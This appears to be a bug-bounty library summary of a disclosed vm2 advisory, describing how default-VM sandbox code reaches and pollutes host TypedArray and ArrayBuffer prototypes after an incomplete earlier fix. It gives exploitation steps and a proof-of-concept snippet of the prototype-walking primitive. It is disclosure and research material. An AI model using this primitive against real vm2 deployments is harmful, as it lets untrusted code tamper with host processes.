# vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix

vm2's host-intrinsic protection omits TypedArray/ArrayBuffer prototypes, letting default-VM sandbox code pollute host typed-array and ArrayBuffer intrinsics via Buffer's prototype chain.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: rexpository
- Disclosed: 2026-10-05
- CVE: CVE-2026-92953
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3vgf-8m4q-q4qr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3vgf-8m4q-q4qr
- Tags: area:oss domain:oss impact:dos impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:prototype-pollution vuln:sandbox-escape

**Target:** vm2 default VM sandbox (lib/bridge.js protectedHostObjects)
**Root cause:** The protectedHostObjects inventory is built from a fixed globalsList of classic intrinsics (Object, Array, Function, etc.) that omits typed-array and ArrayBuffer prototypes, so bridge defineProperty writes to those host objects are forwarded instead of blocked.
**Steps:**
1. Reach host prototypes from sandbox using the prior advisory's walking primitive: `const lookupGetter = ({}).__lookupGetter__; const apply = Buffer.apply; const protoGetter = apply.apply(lookupGetter, [Buffer, ['__proto__']]);`
2. Walk from a host Buffer: `const hostBuffer = Buffer.from([1]); const hostBufferPrototype = protoGetter.call(hostBuffer); const hostUint8ArrayPrototype = protoGetter.call(hostBufferPrototype); const hostTypedArrayPrototype = protoGetter.call(hostUint8ArrayPrototype); const hostArrayBufferPrototype = protoGetter.call(hostBuffer.buffer);`
3. Confirm the objects are host-realm (identity checks against sandbox `Uint8Array.prototype` etc. are false) and absent from `protectedHostObjects`.
4. Use `Reflect.defineProperty()` on the host prototypes to install markers and a method; bridge forwards the writes.
5. After `VM.run()` returns, host-created typed arrays and ArrayBuffers observe the sandbox-installed properties/methods.
**How found:** Recognized the prior host-intrinsic prototype pollution fix (GHSA-vwrp-x96c-mhwq) as a guard-coverage problem: the protected inventory was a hand-maintained globalsList, so they checked which intrinsic families were missing and reused the existing host-prototype walking primitive to reach typed-array/ArrayBuffer prototypes.
**Exploitation:** Attacker with JS execution in a default vm2 VM (no NodeVM, require, wildcard builtins, nesting, or host-provided typed arrays) walks Buffer's prototype chain to host %TypedArray%.prototype, Uint8Array.prototype and ArrayBuffer.prototype, then installs properties/methods via Reflect.defineProperty that persist for the host process after VM.run() returns.
**Insight:** When a sandbox fix protects a hand-enumerated list of intrinsics, enumerate the full intrinsic family (all %TypedArray% concrete prototypes, ArrayBuffer, SharedArrayBuffer, DataView) and test each for identity vs sandbox-local; any reachable host object absent from the protected set is a bypass.

## Proof of concept (copied exactly from the original report)

**Sandbox code walking to host TypedArray/ArrayBuffer prototypes**

```
const lookupGetter = ({}).__lookupGetter__;
const apply = Buffer.apply;
const protoGetter = apply.apply(lookupGetter, [Buffer, ['__proto__']]);
const hostBuffer = Buffer.from([1]);

const hostBufferPrototype = protoGetter.call(hostBuffer);
const hostUint8ArrayPrototype = protoGetter.call(hostBufferPrototype);
const hostTypedArrayPrototype = protoGetter.call(hostUint8ArrayPrototype);
const hostArrayBufferPrototype = protoGetter.call(hostBuffer.buffer);
```

